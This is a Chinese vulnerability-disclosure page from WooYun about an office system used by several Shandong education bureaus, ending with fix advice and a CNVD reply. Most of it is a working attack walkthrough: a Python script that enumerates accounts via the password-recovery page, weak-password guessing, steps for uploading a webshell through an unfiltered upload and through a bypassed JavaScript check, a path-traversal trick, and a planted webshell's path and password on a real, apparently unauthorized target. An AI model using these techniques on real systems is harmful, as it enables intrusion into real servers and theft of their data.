当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168660

漏洞标题:多个漏洞与弱口令完全控制多家教育局办公系统(含各类内部文件与用户数据)

相关厂商:山东济南及周边多家教育局

漏洞作者: 路人甲

提交时间:2016-01-13 16:42

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经确认,细节仅向厂商公开
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

受影响的教育局均使用Sunlinks济南有鸿软件公司早年所生产的OA系统,其中含有大量低级漏洞与逻辑缺陷,经过精心利用后可攻陷整个系统。

详细说明:

(文章中的“\”似乎都被乌云重写成了“\\”,如果代码无法执行的话把双斜杠替换一下试试)
0x01.账户穷举漏洞
这个OA系统的账户命名方案实在是不能再好猜,管理员账户开头字母P,教职员开头字母T,学生开头字母S,后跟4位数字,比如T0000、S1023。而在系统的GetNewPass.aspx(找回密码的页面)提交正确的用户名之后,response数据包中txtQuest部分就会提供用户设定的问题,否则提供空字符串。
这里提供一段粗略的POC代码。

#!/usr/bin/python
# -*- coding: gb2312 -*-
import os
import sys
import re
import requests
import time
import urllib
# Check parameters
if len(sys.argv) != 4:
sys.stderr.write('Usage: ' + sys.argv[0] + ' taskid domain viewstate\n')
sys.exit(1)
userindex = 0
if os.path.exists(sys.argv[1] + "-Status"):
status = open(sys.argv[1] + "-Status", "r").read()
userindex = int(status)
# Take the parameters and make requests
for userindex in range(userindex, 10000):
print "Trying %s%04d" % ('T', userindex)
url = "http://" + sys.argv[2] + "/GetNewPass.aspx"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = '__SCROLLPOS_TOP=0&__SCROLLPOS_LEFT=0&__EVENTTARGET=lkbCheck&__EVENTARGUMENT=&__VIEWSTATE=' + \
urllib.quote_plus(sys.argv[3]) + '&Find=chkQuest&txtAccount=%s%04d&txtQuest=&txtAnswer=&__EVENTVALIDATION=' % ('T', userindex)# + \
# urllib.quote_plus('/wEWBwKflfvmDQKK7ckeAq+p/+MGApSPx+EMAt7Dtv4HAt2wq4gEAv25/PoKGpVZ0Km5BkVsXB8d5AEPWpcb7IY=')
try:
response = requests.post(url, data=data, headers=headers)
html = response.content
finally:
status = open(sys.argv[1] + "-Status", "w")
status.write(str(userindex))
status.close()
# Print and write into a file succesful attempts
pattern = **.**.**.**pile(
r'<input name="txtQuest" type="text" id="txtQuest" readOnly="" value="(.+)" /></TD>')
if pattern.search(html) is not None:
print "Find user: %s%04d" % ('T', userindex)
pas = open(sys.argv[1] + '-Result', 'a')
pas.write('%s%04d\n' % ('T', userindex))
pas.close()


顺便解释一下,代码中的viewstate是POST的时候需要带上的,不然有的站会报错,可以手工操作一下之后抓包拿viewstate。
拿到用户名列表之后扫弱口令就可以了,我只用了123456一个弱密码就拿到了大量账号,可见安全意识之薄弱。
0x02.一个比较低级的上传漏洞,完全不做任何过滤
进入后台(不支持比较新的浏览器,我在IE开发者工具那里降到了IE5),选“通知管理”->“发通知”。

0x02-1.png


0x02-2.png


这里这个“上传附件”,直接传木马。最后的地址可以通过查看网页代码获得:

<option selected="selected" value="附件列表:">附件列表:</option>
<option value="E:\Sunlinks_Web\weboa\\UserUpload\18\AnnounceAttachment\Test.txt">Test.txt</option>


可以看到,很贴心地把绝对路径都爆出来了。
0x03.一个比较高级的上传漏洞,在本地用JavaScript过滤文件后缀名。

0x03-1.png


0x03-2.png


这次选择“我的文档”,在上传之前,需要先去“类别管理”那里建一个新类别,然后开好Fiddler,设置Breakpoint,再点击“上传文档”。
接下来,在服务器回复的response数据包里,把以下代码的“!”删掉,再放开断点。

if (!CheckFileExt())
{
alert('不允许上传此文件格式');
return false;
}


接下来直接在浏览器里面上传木马即可。

0x03-3.png


最后路径有点麻烦,这里我是通过逆向系统的代码得到的。

string[] str = new string[] { base.MapPath("../../"), "\\UserUpload\\", default(string), default(string), default(string), default(string) };
int userID = base.UserID;
str[2] = userID.ToString();
str[3] = "\\MyDocument\\";
str[4] = this.cmbType.get_Value();
str[5] = "\\";
string str1 = string.Concat(str);


通过抓取上传文件时得到的数据包,可以得到

Content-Disposition: form-data; name="cmbType"
70
Content-Disposition: form-data; name="txtUserID"
18


所以根据代码,最后生成的路径就是:
UserUpload\18\MyDocument\70\Gh0u1L5.aspx
0x04.目录穿越漏洞
有的管理员关闭了用户上传目录的执行权限,所以我又发掘出了这个目录穿越漏洞,这个漏洞应该能配合上述任意一个上传漏洞使用,不过我为了方便使用了0x02。
该漏洞的成因是因为代码中处理斜杠的代码有疏漏:

string fileName = this.fileUp.get_PostedFile().get_FileName();
fileName = fileName.Substring(fileName.LastIndexOf("\\") + 1);
this.fileUp.get_PostedFile().SaveAs(string.Concat(str, fileName));


这种情况下只要使用“/”这种斜杠,在数据包中构造“../../../Test.aspx”这样的文件名,就可以将木马传到任意一个有执行权限的目录下了。

漏洞证明:

ASPX的木马在没有登陆的情况下会被重定向到登录页面的,所以这里放了个asp的一句话木马,密码就是Gh0u1L5。

http://**.**.**.**:8080/UserUpload/18/MyDocument/70/Gh0u1L5.asp


除德州市德城区教育局之外,还有济南长清,济南天桥等多家教育局受到影响,仅个人测试就发现了近十家。

**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**


各自都有不同程度的入侵痕迹与拖库痕迹,其中天桥区服务器更是已成为马场,网站根目录下被人上传一个hackfiles.rar文件,以及一个疑似木马文件的目录。由于目前服务器无法访问,所以无法提供截图。

修复方案:

账户穷举漏洞暂时没什么好办法,就算把GetNewPass.aspx删掉也只能解一时之急,因为这个账号名的命名规则实在是太好猜了,只能在弱密码上下点功夫,强制所有用户设置复杂密码。
上传漏洞0x02可以通过配置后缀名白名单的方式姑且先补救一下,上传漏洞0x03就只能等官方补丁,不要再用JavaScript本地检验这么重要的东西了。
最后的目录穿越漏洞比较好修补,过滤规则里补上落下的那个斜杠就好了。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2016-01-15 15:31

厂商回复:

CNVD确认未复现所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无